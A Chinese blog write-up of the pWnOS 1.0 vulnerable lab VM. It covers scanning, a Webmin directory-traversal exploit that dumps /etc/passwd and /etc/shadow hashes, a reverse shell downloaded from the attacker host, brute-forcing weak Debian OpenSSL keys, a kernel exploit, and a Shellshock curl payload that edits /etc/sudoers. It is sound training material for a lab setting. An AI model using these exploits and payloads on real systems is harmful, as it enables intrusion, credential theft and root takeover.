pWnOS1

pWnOS1.0

1、主机发现

┌──(de1te㉿de1te)-[~]
└─$ sudo nmap -sn 10.10.10.0/24  
[sudo] de1te 的密码：
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-08 13:02 CST
Nmap scan report for 10.10.10.1
Host is up (0.00084s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 10.10.10.15
Host is up (0.00012s latency).
MAC Address: 00:50:56:FD:40:27 (VMware)
Nmap scan report for 10.10.10.93
Host is up (0.000097s latency).
MAC Address: 00:0C:29:5E:18:C9 (VMware)
Nmap scan report for 10.10.10.254
Host is up (0.00019s latency).
MAC Address: 00:50:56:E8:31:82 (VMware)
Nmap scan report for 10.10.10.90
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 1.83 seconds
  • 10.10.10.93 为我们的靶机

2、端口扫描

  1. 开放端口扫描

    sudo nmap --min-rate 10000  -p- 10.10.10.93 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-08 13:03 CST
Nmap scan report for 10.10.10.93
Host is up (0.0021s latency).
Not shown: 65530 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
10000/tcp open  snet-sensor-mgmt
MAC Address: 00:0C:29:5E:18:C9 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 5.96 seconds
    • 开放端口为：22、80、139、445、10000

  2. 开放端口，服务扫描

    sudo nmap -sT -sV -O  -p22,80,139,445,10000 10.10.10.93  
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-08 13:06 CST
Nmap scan report for 10.10.10.93
Host is up (0.00045s latency).

PORT      STATE SERVICE     VERSION
22/tcp    open  ssh         OpenSSH 4.6p1 Debian 5build1 (protocol 2.0)
80/tcp    open  http        Apache httpd 2.2.4 ((Ubuntu) PHP/5.2.3-1ubuntu6)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: MSHOME)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: MSHOME)
10000/tcp open  http        MiniServ 0.01 (Webmin httpd)
MAC Address: 00:0C:29:5E:18:C9 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6.22
OS details: Linux 2.6.22 (embedded, ARM), Linux 2.6.22 - 2.6.23
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 43.33 seconds

    UDP 扫描

    sudo nmap -sU  -p22,80,139,445,10000 10.10.10.93  
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-08 13:09 CST
Nmap scan report for 10.10.10.93
Host is up (0.00088s latency).

PORT      STATE  SERVICE
22/udp    closed ssh
80/udp    closed http
139/udp   closed netbios-ssn
445/udp   closed microsoft-ds
10000/udp open   ndmp
MAC Address: 00:0C:29:5E:18:C9 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.17 seconds

    总结：还是先从http服务开始

  3. 常见漏洞扫描

    sudo nmap --script=vuln -p22,80,139,445,10000 10.10.10.93           
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-08 13:13 CST
Pre-scan script results:
| broadcast-avahi-dos: 
|   Discovered hosts:
|     224.0.0.251
|   After NULL UDP avahi packet DoS (CVE-2011-1002).
|_  Hosts are all up (not vulnerable).
Stats: 0:04:15 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.36% done; ETC: 13:17 (0:00:01 remaining)
Nmap scan report for 10.10.10.93
Host is up (0.00046s latency).

PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
| http-enum: 
|   /icons/: Potentially interesting directory w/ listing on 'apache/2.2.4 (ubuntu) php/5.2.3-1ubuntu6'
|   /index/: Potentially interesting folder
|_  /php/: Potentially interesting directory w/ listing on 'apache/2.2.4 (ubuntu) php/5.2.3-1ubuntu6'
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
|_http-trace: TRACE is enabled
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
|       http://ha.ckers.org/slowloris/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_http-dombased-xss: Couldn't find any DOM based XSS.
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
10000/tcp open  snet-sensor-mgmt
| http-vuln-cve2006-3392: 
|   VULNERABLE:
|   Webmin File Disclosure
|     State: VULNERABLE (Exploitable)
|     IDs:  CVE:CVE-2006-3392
|       Webmin before 1.290 and Usermin before 1.220 calls the simplify_path function before decoding HTML.
|       This allows arbitrary files to be read, without requiring authentication, using "..%01" sequences
|       to bypass the removal of "../" directory traversal sequences.
|       
|     Disclosure date: 2006-06-29
|     References:
|       http://www.rapid7.com/db/modules/auxiliary/admin/webmin/file_disclosure
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3392
|_      http://www.exploit-db.com/exploits/1997/
MAC Address: 00:0C:29:5E:18:C9 (VMware)

Host script results:
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: false
|_smb-vuln-regsvc-dos: ERROR: Script execution failed (use -d to debug)

Nmap done: 1 IP address (1 host up) scanned in 345.89 seconds
    • 经过扫描发现，10000端口存在一个Webmin File Disclosure（文件泄露）漏洞

3、Web渗透

  1. 查看10000端口

    image

  2. 使用searchsploit 查看webmin 漏洞

    image

    扫描出来的是，倒数第二，第三个。应该是两种不同语言写的。这里我就选2017.pl

  3. 使用漏洞

    searchsploit -m 2017 

    perl 2017.pl                                   
Usage: 2017.pl <url> <port> <filename> <target> 
TARGETS are
 0  - > HTTP 
 1  - > HTTPS
Define full path with file name 
Example: ./webmin.pl blah.com 10000 /etc/passwd
    • <url> <port> <filename> <target>
    • 查看/etc/passwd
    perl 2017.pl 10.10.10.93 10000 /etc/passwd 0   
WEBMIN EXPLOIT !!!!! coded by UmZ!
Comments and Suggestions are welcome at umz32.dll [at] gmail.com
Vulnerability disclose at securitydot.net
I am just coding it in perl 'cuz I hate PHP!
Attacking 10.10.10.93 on port 10000!
FILENAME:  /etc/passwd

 FILE CONTENT STARTED
 -----------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
dhcp:x:100:101::/nonexistent:/bin/false
syslog:x:101:102::/home/syslog:/bin/false
klog:x:102:103::/home/klog:/bin/false
mysql:x:103:107:MySQL Server,,,:/var/lib/mysql:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
vmware:x:1000:1000:vmware,,,:/home/vmware:/bin/bash
obama:x:1001:1001::/home/obama:/bin/bash
osama:x:1002:1002::/home/osama:/bin/bash
yomama:x:1003:1003::/home/yomama:/bin/bash

 -------------------------------------
    • 查看/etc/shadow
    perl 2017.pl 10.10.10.93 10000 /etc/shadow 0 
WEBMIN EXPLOIT !!!!! coded by UmZ!
Comments and Suggestions are welcome at umz32.dll [at] gmail.com
Vulnerability disclose at securitydot.net
I am just coding it in perl 'cuz I hate PHP!
Attacking 10.10.10.93 on port 10000!
FILENAME:  /etc/shadow

 FILE CONTENT STARTED
 -----------------------------------
root:$1$LKrO9Q3N$EBgJhPZFHiKXtK0QRqeSm/:14041:0:99999:7:::
daemon:*:14040:0:99999:7:::
bin:*:14040:0:99999:7:::
sys:*:14040:0:99999:7:::
sync:*:14040:0:99999:7:::
games:*:14040:0:99999:7:::
man:*:14040:0:99999:7:::
lp:*:14040:0:99999:7:::
mail:*:14040:0:99999:7:::
news:*:14040:0:99999:7:::
uucp:*:14040:0:99999:7:::
proxy:*:14040:0:99999:7:::
www-data:*:14040:0:99999:7:::
backup:*:14040:0:99999:7:::
list:*:14040:0:99999:7:::
irc:*:14040:0:99999:7:::
gnats:*:14040:0:99999:7:::
nobody:*:14040:0:99999:7:::
dhcp:!:14040:0:99999:7:::
syslog:!:14040:0:99999:7:::
klog:!:14040:0:99999:7:::
mysql:!:14040:0:99999:7:::
sshd:!:14040:0:99999:7:::
vmware:$1$7nwi9F/D$AkdCcO2UfsCOM0IC8BYBb/:14042:0:99999:7:::
obama:$1$hvDHcCfx$pj78hUduionhij9q9JrtA0:14041:0:99999:7:::
osama:$1$Kqiv9qBp$eJg2uGCrOHoXGq0h5ehwe.:14041:0:99999:7:::
yomama:$1$tI4FJ.kP$wgDmweY9SAzJZYqW76oDA.:14041:0:99999:7:::

 -------------------------------------

    居然，能查看shadow。看来权限是很高啊

    解密一下把

    h4ckm3           (vmware)
    • john 解密不如在线网站上

4、提权

我们一开始提到，我们能获取到shadow文件说明www服务存在很高的权限

vmware@ubuntuvm:/var$ ls -liah                                                                                                                                                                                                                 
total 52K
244801 drwxr-xr-x 15 root root  4.0K 2008-06-10 13:28 .
     2 drwxr-xr-x 21 root root  4.0K 2008-06-10 06:37 ..
261122 drwxr-xr-x  2 root root  4.0K 2008-06-10 06:28 backups
244808 drwxr-xr-x  9 root root  4.0K 2008-06-10 07:07 cache
244804 drwxr-xr-x 23 root root  4.0K 2008-06-10 07:08 lib
261125 drwxrwsr-x  2 root staff 4.0K 2007-10-08 05:47 local
  7628 drwxrwxrwt  3 root root    60 2023-04-07 22:17 lock
261126 drwxr-xr-x 11 root root  4.0K 2023-04-07 22:17 log
262195 drwxrwsr-x  2 root mail  4.0K 2008-06-10 06:24 mail
262194 drwxr-xr-x  2 root root  4.0K 2008-06-10 06:24 opt
  7624 drwxr-xr-x 10 root root   380 2023-04-07 22:39 run
261127 drwxr-xr-x  5 root root  4.0K 2008-06-10 07:07 spool
261128 drwxrwxrwt  2 root root  4.0K 2007-10-08 05:47 tmp
344741 drwx------  2 root bin   4.0K 2008-06-10 13:31 webmin
295040 drwxr-xr-x  3 root root  4.0K 2008-06-12 09:55 www

看起来是root在执行http服务，那我们可以通过上面的漏洞远程执行shell

cp /usr/share/webshells/perl/perl-reverse-shell.pl shell.cgi  
sudo vim shell.cgi

  • 利用kali自带的webshell构建cgi文件

  • 修改shell.cgi文件内容

    image

php -S 0:80  # 开启简单的web服务
  • 在靶机上，下载cgi文件
cd /home/vmware 
wget http://10.10.10.90/shell.cgi  # 下载shell文件

sudo nc -lvnp   # 开启监听
perl 2017.pl 10.10.10.93 10000 /home/vmware/shell.cgi 0 # 执行文件

#whoami
root
  • 获得权限
# dpkg -l | grep python 
ii  python                                2.5.1-1ubuntu2          An interactive high-level object-oriented la
ii  python-apt                            0.7.3.1ubuntu4          Python interface to libapt-pkg
ii  python-central                        0.5.15ubuntu2           register and build utility for Python packag
ii  python-gnupginterface                 0.3.2-9ubuntu1          Python interface to GnuPG (GPG)
ii  python-minimal                        2.5.1-1ubuntu2          A minimal subset of the Python language (def
ii  python-support                        0.6.4ubuntu1            automated rebuilding support for python modu
ii  python2.5                             2.5.1-5ubuntu5          An interactive high-level object-oriented la
ii  python2.5-minimal                     2.5.1-5ubuntu5          A minimal subset of the Python language (ver

有python，构建tty

# python -c "import pty;pty.spawn('/bin/bash')"

定妆照：

root@ubuntuvm:/# whoami
whoami
root
root@ubuntuvm:/# ip a
ip a
1: lo: <LOOPBACK,UP,10000> mtu 16436 qdisc noqueue 
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,10000> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 00:0c:29:5e:18:c9 brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.93/24 brd 10.10.10.255 scope global eth0
    inet6 fe80::20c:29ff:fe5e:18c9/64 scope link 
       valid_lft forever preferred_lft forever
root@ubuntuvm:/# id
id
uid=0(root) gid=0(root)
root@ubuntuvm:/# sudo -l 
sudo -l
User root may run the following commands on this host:
    (ALL) ALL

思路二

总结：在获得初始shell时，通过获得公钥文件，利用PRNG（伪随机生成器）找到私钥。进而，通过私钥进入shell。提权部分也有两种办法，内核提权和shellshcoks

1、敏感文件利用

利用webmin的漏洞获得，敏感文件

perl 2017.pl 10.10.10.93 10000 /etc/passwd 0

vmware:x:1000:1000:vmware,,,:/home/vmware:/bin/bash
obama:x:1001:1001::/home/obama:/bin/bash
osama:x:1002:1002::/home/osama:/bin/bash
yomama:x:1003:1003::/home/yomama:/bin/bash
  • 我们选用obama用户（思路一获得是vmware）

查看公钥

perl 2017.pl 10.10.10.93 10000 /home/obama//.ssh/authorized_keys  0
  • /.ssh/authorized_keys 是obama用户的公钥

敏感文件库：https://github.com/carlospolop/Auto_Wordlists/tree/main/wordlists

2、PRNG碰撞

searchsploit prng

searchsploit prng    
--------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                       |  Path
--------------------------------------------------------------------- ---------------------------------
GNU Classpath 0.97.2 - 'gnu.java.security.util.PRNG' Class Entropy ( | multiple/remote/32673.java
GNU Classpath 0.97.2 - 'gnu.java.security.util.PRNG' Class Entropy ( | multiple/remote/32674.cpp
LPRng (RedHat 7.0) - 'lpd' Format String                             | linux/remote/227.c
LPRng - use_syslog Remote Format String (Metasploit)                 | linux/remote/16842.rb
LPRng 3.6.22/23/24 - Remote Command Execution                        | linux/remote/226.c
LPRng 3.6.24-1 - Remote Command Execution                            | linux/remote/230.c
LPRng 3.6.x - Failure To Drop Supplementary Groups                   | unix/local/20923.c
LPRNG html2ps 1.0 - Remote Command Execution                         | unix/remote/21974.pl
OpenSSL 0.9.8c-1 < 0.9.8g-9 (Debian and Derivatives) - Predictable P | linux/remote/5622.txt
OpenSSL 0.9.8c-1 < 0.9.8g-9 (Debian and Derivatives) - Predictable P | linux/remote/5632.rb
OpenSSL 0.9.8c-1 < 0.9.8g-9 (Debian and Derivatives) - Predictable P | linux/remote/5720.py
--------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results


searchsploit -m 5622.txt

5622.txt 内容

the debian openssl issue leads that there are only 65.536 possible ssh
keys generated, cause the only entropy is the pid of the process
generating the key.

This leads to that the following perl script can be used with the
precalculated ssh keys to brute force the ssh login. It works if such a
keys is installed on a non-patched debian or any other system manual
configured to.

On an unpatched system, which doesn't need to be debian, do the following:

keys provided by HD Moore - http://metasploit.com/users/hdm/tools/debian-openssl/
***E-DB Note: Mirror ~ https://github.com/g0tmi1k/debian-ssh***

1. Download http://sugar.metasploit.com/debian_ssh_rsa_2048_x86.tar.bz2
            https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5622.tar.bz2 (debian_ssh_rsa_2048_x86.tar.bz2)

2. Extract it to a directory

3. Enter into the /root/.ssh/authorized_keys a SSH RSA key with 2048
Bits, generated on an upatched debian (this is the key this exploit will
break)

4. Run the perl script and give it the location to where you extracted
the bzip2 mentioned.

#!/usr/bin/perl
my $keysPerConnect = 6;
unless ($ARGV[1]) {
   print "Syntax : ./exploiter.pl pathToSSHPrivateKeys SSHhostToTry\n";
   print "Example: ./exploiter.pl /root/keys/ 127.0.0.1\n";
   print "By mm@deadbeef.de\n";
   exit 0;
}
chdir($ARGV[0]);
opendir(A, $ARGV[0]) || die("opendir");
while ($_ = readdir(A)) {
   chomp;
   next unless m,^\d+$,;
   push(@a, $_);
   if (scalar(@a) > $keysPerConnect) {
      system("echo ".join(" ", @a)."; ssh -l root ".join(" ", map { "-i
".$_ } @a)." ".$ARGV[1]);
      @a = ();
   }
}

5. Enjoy the shell after some minutes (less than 20 minutes)

Regards,
Markus Mueller
mm@deadbeef.de

# milw0rm.com [2008-05-15]
  • 下载prng库，然后解压

搜索密钥

sudo grep -lr "AAAAB3NzaC1yc2EAAAABIwAAAQEAxRuWHhMPelB60JctxC6BDxjqQXggf0ptx2wrcAw09HayPxMnKv+BFiGA/I1yXn5EqUfuLSDcTwiIeVSvqJl3NNI5HQUUc6KGlwrhCW464ksARX2ZAp9+6Yu7DphKZmtF5QsWaiJc7oV5il89zltwBDqR362AH49m8/3OcZp4XJqEAOlVWeT5/jikmke834CyTMlIcyPL85LpFw2aXQCJQIzvkCHJAfwTpwJTugGMB5Ng73omS82Q3ErbOhTSa5iBuE86SEkyyotEBUObgWU3QW6ZMWM0Rd9ErIgvps1r/qpteMMrgieSUKlF/LaeMezSXXkZrn0x+A2bKsw9GwMetQ"

  • 获得公钥文件

    dcbe2a56e8cdea6d17495f6648329ee2-4679.pub

  • 私钥文件就是没有后缀的那个

将私钥文件copy到/home/de1te

sudo cp dcbe2a56e8cdea6d17495f6648329ee2-4679 /home/de1te

ssh连接

ssh -i dcbe2a56e8cdea6d17495f6648329ee2-4679 obama@10.10.10.93                                                                                   
Unable to negotiate with 10.10.10.93 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss

他让我们指定类型

sudo ssh -i dcbe2a56e8cdea6d17495f6648329ee2-4679 obama@10.10.10.93 -oHostKeyAlgorithms=ssh-rsa,ssh-dss                                          
sign_and_send_pubkey: no mutual signature supported

还是不行，看看具体出了哪些问题

sudo ssh -i dcbe2a56e8cdea6d17495f6648329ee2-4679 obama@10.10.10.93 -oHostKeyAlgorithms=ssh-rsa,ssh-dss  -vv

image

pub_key 有问题，看来我们还是需要指定

sudo ssh -i dcbe2a56e8cdea6d17495f6648329ee2-4679 obama@10.10.10.93 -oHostKeyAlgorithms=ssh-rsa,ssh-dss -oPubkeyAcceptedKeyTypes=ssh-rsa,ssh-dss  
Linux ubuntuvm 2.6.22-14-server #1 SMP Sun Oct 14 23:34:23 GMT 2007 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Sun Apr  9 21:59:04 2023 from 10.10.10.90
obama@ubuntuvm:~$

2、提权

  1. 内核提权（尽量少用）：

    思路分析：

    • 一般来说内核版本不要太广，也不要太细。eg：2.6.22 可以搜索为2.6.2
    • 对版本要求苛刻的，优先级较低
    • 根据渗透过程中获得的信息进行判断
    • 同一类型如果不行，优先级调低
    searchsploit Linux Kernel  2.6.2 | grep "Privilege Escalation"

    searcgslpoit -m 5092.c

    kali开启：http服务

    sudo php -S 0:80

    靶机下载

    wget http://10.10.10.90/5092.c
gcc 5092.c -o 5092  # 编译
./5092 # 运行

    root@ubuntuvm:~# whoami                                           root
root@ubuntuvm:~# id
uid=0(root) gid=0(root) groups=1001(obama)
    • 获得shell

  2. shellshock
    环境必须在Bash 4.3之前，因为系统版本较低，所以可能存在这个漏洞
    思路：在获得初始shell后，在该目录写入一个cgi文件。然后，利用webmin漏洞。通过http协议方式访问该文件。该协议内的User-Agent被我们利用。使其将obama ALL=(ALL) NOPASSWD:ALL该内容写入到/etc/sudoers文件中。从而提权成功。

    # 测试
env x='() { :;};' bash -c "echo this is a test"   
this is a test   

# 在cgi文件写入一下命令，目的是在通过http访问时，获得bash，从而执行我们的# shellshocks里面的命令
echo "#!/bin/bash" >> shell.cgi
chmod +x shell.cgi  # 加入执行权限

    同时，分析webmin漏洞脚本

    image

    脚本构建的exploit如下

    http://10.10.10.93:10000/unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/etc/passwd

    效果如下：

    image

    开始提权，payload如下

    sudo curl http://10.10.10.93:10000/unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/home/obama/shell.cgi -A '() { :; }; /bin/echo "obama ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' 

    obama@ubuntuvm:~$ sudo -l 
User obama may run the following commands on this host:
    (ALL) NOPASSWD: ALL

    提权成功！！！

posted @   de1tezer0  阅读(80)  评论(0)  编辑  收藏  举报
相关博文：
· pWnOS2
· Prime
· [vulnhub] LAMPSecurity: CTF4
· [vulnhub]Prime1
· NMAP6-网络探索和安全审计秘籍（全）
阅读排行：
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布：重大改进与新特性概览！
· AI与.NET技术实操系列（二）：开始使用ML.NET
· 单线程的Redis速度为什么快？
点击右上角即可分享
微信分享提示
AI FOR CODE 大赛